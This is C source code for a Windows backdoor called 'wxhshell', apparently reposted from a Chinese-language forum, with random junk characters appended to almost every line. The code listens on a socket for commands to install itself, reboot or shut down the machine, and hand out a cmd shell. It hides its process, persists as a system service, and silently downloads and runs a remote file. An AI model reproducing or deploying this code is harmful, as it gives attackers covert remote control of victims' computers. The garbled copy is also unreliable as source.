  else { OP=oSfa  
D'moy*E  
    switch(cmd[0]) { rkh%[o 9"/  
  .`u8(S+  
  // 帮助 Bk~lM'  
  case '?': { %H_-`A`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >^W6'Q$P<  
    break; vEG7A$Z"  
  } c9@3=6S/  
  // 安装 }"RVUYU  
  case 'i': { 4a!%eBhX"K  
    if(Install()) SH"<f_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); st.{AEv@  
    else (-;(wCEE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L>Ze*dt  
    break; 6o]{< T/'  
    } ',|OoxhbK  
  // 卸载 M a{@b$>  
  case 'r': { ET H ($$M  
    if(Uninstall()) 3DCR n :  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4!3<[J;N;  
    else ~kpa J'm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :|&6x!  
    break; 7c%dSs6  
    } SMd[*9l [  
  // 显示 wxhshell 所在路径 b{<$OVc  
  case 'p': { 8Bc2?NI=   
    char svExeFile[MAX_PATH]; xHx_! )7  
    strcpy(svExeFile,"\n\r"); [(3 %$?[  
      strcat(svExeFile,ExeFile); 03iy[~Y2  
        send(wsh,svExeFile,strlen(svExeFile),0); PktnjdFV  
    break; p.MLKp-'  
    } V3|" v4  
  // 重启 5&A' +]  
  case 'b': { yI!W658$6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kE+fdr\ T  
    if(Boot(REBOOT)) @^# 9N!Fj]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DHhty qm  
    else { _BgWy#  
    closesocket(wsh); b9wC:NgQx  
    ExitThread(0); ]f`UflMO8  
    } F }F{/  
    break; sVnq|[ /  
    } W<O/LHKHdn  
  // 关机 <Vh5`-J  
  case 'd': { ^[+2P?^K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;Hp78!#,  
    if(Boot(SHUTDOWN)) )-iUUak  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5,O:"3>c  
    else { ZOppec1D  
    closesocket(wsh); 9qzHy}A  
    ExitThread(0); 3qV~C{ S  
    } "WPWMQ+  
    break;  YO fYa  
    } 6/'X$}X  
  // 获取shell b; vVlIG  
  case 's': { 2>J;P C[;  
    CmdShell(wsh); XfEp_.~JM  
    closesocket(wsh); )\W}&9 >  
    ExitThread(0); 6Y.k<oem  
    break; LF (S"Of  
  } /7a3*a  
  // 退出 3c:fYE  
  case 'x': { %rl<%%T#.M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KAT"!b   
    CloseIt(wsh); =:TQ_>$Nc2  
    break; KZ=5"a  
    } V.+a}J=Cw  
  // 离开 Fy>g*3  
  case 'q': { E3x<o<v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :a=]<_*x  
    closesocket(wsh); 3EA_-?  
    WSACleanup(); !QqVJ a{j  
    exit(1); od!s5f!  
    break; e-xT.RnQ  
        } AXo)(\  
  } @P=n{-pIW  
  } ^g<Lu/5w  
xo-{N[r  
  // 提示信息 ]N1,"W}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hbx+*KM  
} ,oEAWNbgQ  
  } b$*G&d5  
Jcp=<z*0  
  return; 20A:,pMb  
} `"xzC $  
i1HO>X:ea  
// shell模块句柄 Mu$q) u  
int CmdShell(SOCKET sock) J3r':I}\  
{ JvJ)}d$,&  
STARTUPINFO si; 5a&gdqg]  
ZeroMemory(&si,sizeof(si)); V Kc`mE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O=u.J8S2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :19s=0  
PROCESS_INFORMATION ProcessInfo; An BM*5G  
char cmdline[]="cmd"; [H2su|rBI`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #m'+1 s L  
  return 0; \ov]Rn  
} h`tf!MD]  
1bCS4fs^>  
// 自身启动模式 eI -FJ/CJ  
int StartFromService(void) Xi=4S[.4  
{ k6;pi=sYNW  
typedef struct $7Tj<;TV  
{ @3I?T Q1  
  DWORD ExitStatus; 4LJOT_  
  DWORD PebBaseAddress; C+C1(b;1  
  DWORD AffinityMask; e.|t12)L "  
  DWORD BasePriority; :yOJL [x  
  ULONG UniqueProcessId; Hjy4tA7,l  
  ULONG InheritedFromUniqueProcessId; xf qu=z8X  
}   PROCESS_BASIC_INFORMATION; CZCVC (/u  
2\Yv;J+;  
PROCNTQSIP NtQueryInformationProcess; z-nV!#  
/DSy/p0%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JgldC[|7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +J !1z  
D6P/39}W  
  HANDLE             hProcess; Z~"8C Kz  
  PROCESS_BASIC_INFORMATION pbi; 7z8   
7#g<fh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); od3b,Q  
  if(NULL == hInst ) return 0; pTYV@5|  
i_$?sg#=yk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2bpFQ8q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uVw|jj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S.owVMQ  
"W"r0"4  
  if (!NtQueryInformationProcess) return 0; *MN("<A_  
tqU8>d0^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d^|r#"o[  
  if(!hProcess) return 0; 1| xKb (_l  
KeC&a=HL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w`Rt"d_B  
tQ2S*]"f  
  CloseHandle(hProcess); W6yz/{Rf  
&KeD{M%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZD8E+]+  
if(hProcess==NULL) return 0; b$B-LvHd1  
B=i%Z _r]w  
HMODULE hMod; ^Ov+n1,)  
char procName[255]; T%2%*oa  
unsigned long cbNeeded; <)gTi759h)  
& y7~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dQAo~] B  
2-wgbC5  
  CloseHandle(hProcess); 6c[ L*1  
wq#'o9s,  
if(strstr(procName,"services")) return 1; // 以服务启动 DJH,#re>  
3>^S6h}o  
  return 0; // 注册表启动 l{3ZN"`I  
} jTok1k  
71HrpTl1fw  
// 主模块 rGSi !q  
int StartWxhshell(LPSTR lpCmdLine) #Xun>0  
{ !p 70g0+  
  SOCKET wsl; A) TO<dl  
BOOL val=TRUE; }ev+WIERQV  
  int port=0; (/J %Huy  
  struct sockaddr_in door; 9OM&&Ue<E  
X^. ~f+d~  
  if(wscfg.ws_autoins) Install(); 3T@`V FbE  
<kWNx.eci  
port=atoi(lpCmdLine); R!_1*H$  
IpsV4nmnz-  
if(port<=0) port=wscfg.ws_port;  d|$-Sz  
O}[){*GG=  
  WSADATA data; :,MI,SwnS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~*G}+Ur$2  
z&A# d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KRj3??b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j(Tk6S  
  door.sin_family = AF_INET; ?h ym~,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +D#.u^  
  door.sin_port = htons(port);  ev(E  
/C[XC7^4'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZF;s`K)  
closesocket(wsl); (FNX>2Mv  
return 1; N_y#Y{c{(  
} X#u< 3<P  
2H`;?#Uq:  
  if(listen(wsl,2) == INVALID_SOCKET) { vb k4  
closesocket(wsl); :j% B(@b  
return 1; g+u5u\k  
} KU;m.{  
  Wxhshell(wsl); unkA%x{W;  
  WSACleanup(); X0%BE!  
qnU$Pd  
return 0; vXc gl  
4ak} "Z  
} 3_c4+u"6  
qk\LfRbj  
// 以NT服务方式启动 ig:z[k?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \&%y4=y<sE  
{ v!rOT/I  
DWORD   status = 0; ut9R] 01:  
  DWORD   specificError = 0xfffffff; ZvW&%*k=  
O9MBQNwjA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z%WOv ~8~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `k'Dm:*`u4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LfG$?<}hR  
  serviceStatus.dwWin32ExitCode     = 0; Kl+4A}Uo  
  serviceStatus.dwServiceSpecificExitCode = 0; d Y]i AJ  
  serviceStatus.dwCheckPoint       = 0; b]5S9^=LI  
  serviceStatus.dwWaitHint       = 0; '5SO3/{b  
%Z#[{yuFs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D$bJs O  
  if (hServiceStatusHandle==0) return; <e'l"3+9(  
vTYgWR,h  
status = GetLastError(); }{ "RgT-qG  
  if (status!=NO_ERROR) M9sB2Ips<  
{ K/XUF#^B]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3x~AaC.j  
    serviceStatus.dwCheckPoint       = 0; 15`,kJSK  
    serviceStatus.dwWaitHint       = 0; }zV#?;}  
    serviceStatus.dwWin32ExitCode     = status; 3})0p  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1 ,4V8gp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3O'X;s2\d  
    return; U7Pn $l2!  
  } 8*yk y  
N!=Q]\ZD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5[>N[}Ck>  
  serviceStatus.dwCheckPoint       = 0; dZjh@yGP.  
  serviceStatus.dwWaitHint       = 0;  ,zrShliU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KXga {]G:  
} aOo;~u2-=  
?VT ]bxb  
// 处理NT服务事件,比如:启动、停止 Jl^THoEL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d`4@aoM  
{ rwep e5  
switch(fdwControl) FuZLE%gP  
{ gT4H? #UB  
case SERVICE_CONTROL_STOP: G@]|/kN1y  
  serviceStatus.dwWin32ExitCode = 0; z`+j]NX]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jp QmKX  
  serviceStatus.dwCheckPoint   = 0; Kkz2N  
  serviceStatus.dwWaitHint     = 0; AZjj71UE  
  { ||sj*K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3q0^7)m0  
  } 7_ah1IEK  
  return; HA%r:Px  
case SERVICE_CONTROL_PAUSE: xDBHnr}[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q5(Z   
  break; )v?-[ oR  
case SERVICE_CONTROL_CONTINUE: (L6*#!Dt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X~Vr}  
  break; $8,/[V A  
case SERVICE_CONTROL_INTERROGATE: 'P?DZE  
  break; H>2f M^  
}; 7Ke#sW.HN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ty>g:#bogI  
} V{G9E  
lEv<n6:_  
// 标准应用程序主函数 wC[Bh^]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o+Kh2;$)  
{ ;P4tqY@  
ym)`<[T  
// 获取操作系统版本 Z ]WA-Q6n  
OsIsNt=GetOsVer(); Sk,9<@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8q& *tpE  
C]+T5W\"<B  
  // 从命令行安装 yD9<-B<)  
  if(strpbrk(lpCmdLine,"iI")) Install(); P&@[ j0  
ew cgg  
  // 下载执行文件 PNMf5'@m  
if(wscfg.ws_downexe) { x2g P, p-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O6pL )6d  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2i~qihx5^  
} \V,;F!*#G  
)\TI^%s  
if(!OsIsNt) { J]|lCwF  
// 如果时win9x,隐藏进程并且设置为注册表启动 \dag~b<  
HideProc(); z~BrKdS  
StartWxhshell(lpCmdLine); |E)IJj 3  
} 2 <@27 C5  
else s GP}>w-JZ  
  if(StartFromService()) 1y5$  
  // 以服务方式启动 Soa5TM  
  StartServiceCtrlDispatcher(DispatchTable); /M "E5  
else '{:Yg3K  
  // 普通方式启动 k99ANW  
  StartWxhshell(lpCmdLine); W}5H'D  
_(8HK  
return 0; h7S&tW GU  
}
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只看该作者 1 发表于: 2006-10-10
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